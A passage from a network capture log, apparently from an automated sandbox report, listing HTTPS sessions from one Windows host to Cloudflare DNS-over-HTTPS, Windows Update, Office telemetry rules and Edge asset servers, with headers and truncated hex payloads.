2024-10-30 14:59:31 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 14:59:31 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 14:59:31 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8dac450c6a2b2cc7-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 14:59:31 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1a 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49728	162.159.61.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:32 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-30 14:59:32 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-30 14:59:32 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 30 Oct 2024 14:59:32 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8dac4510efc3e796-DFW alt-svc: h3=":443"; ma=86400
2024-10-30 14:59:32 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 55 00 04 8e fa 8a 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomU^)

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49725	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:32 UTC	124	OUT	GET /sls/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: slscr.update.microsoft.com
2024-10-30 14:59:32 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 MS-CV: 2hGwHCD3uUK4duAP.0 MS-RequestId: a24de918-7e91-4823-9639-bfb4b04c9aeb MS-CorrelationId: 3962d9df-1986-4621-b452-6858f524e79d X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 14:59:32 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:33 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:33 UTC	568	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:33 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: eb0745eb-f01e-003c-6cca-2a8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145933Z-r197bdfb6b4n9cxdnknw89p4zg000000017g000000000687 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-10-30 14:59:33 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:34 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:34 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:34 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145934Z-16849878b78smng4k6nq15r6s400000009t0000000004296 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:34 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49738	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:34 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=eNHNM2cUaCzws2c&MD=1L+Ngsmd HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-30 14:59:35 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: f08b0d0e-38cd-41ad-8168-3be72e2d790c MS-RequestId: d828c2f5-3a60-4422-a395-f0ec6cf9a44d MS-CV: ZTZZ8EUYpE+WqJj0.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 30 Oct 2024 14:59:34 GMT Connection: close Content-Length: 24490
2024-10-30 14:59:35 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-30 14:59:35 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	31251	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:35 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:35 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:35 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 10294bf0-701e-0021-254d-273d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145935Z-17c5cb586f6gkqkwd0x1ge8t0400000008rg000000008htv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:35 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	32482	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:35 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:35 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:35 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: d414cbbc-701e-0005-7e90-289c78000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145935Z-16849878b78nzcqcd7bed2fb6n00000000m000000000ggs0 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:35 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	61826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:35 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:36 UTC	543	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:35 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: bca70e81-901e-0069-26ca-2a37ab000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145935Z-17c5cb586f6wnfhvhw6gvetfh400000007t00000000018pp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:36 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49749	13.107.246.45	443	7228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:35 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-30 14:59:36 UTC	536	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:35 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 192575bd-001e-0045-303d-29b596000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241030T145935Z-16849878b7898p5f6vryaqvp5800000009300000000049zx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 14:59:36 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	35155	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:36 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:36 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:36 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: a88111ac-001e-0034-692b-2add04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145936Z-15b8d89586fpccrmgpemqdqe58000000034g000000003tuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 14:59:36 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 14:59:36 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 14:59:36 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a4e3dea6-301e-005d-1111-29e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T145936Z-17c5cb586f62vrfquq10qybcuw000000011g00000000p1sd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
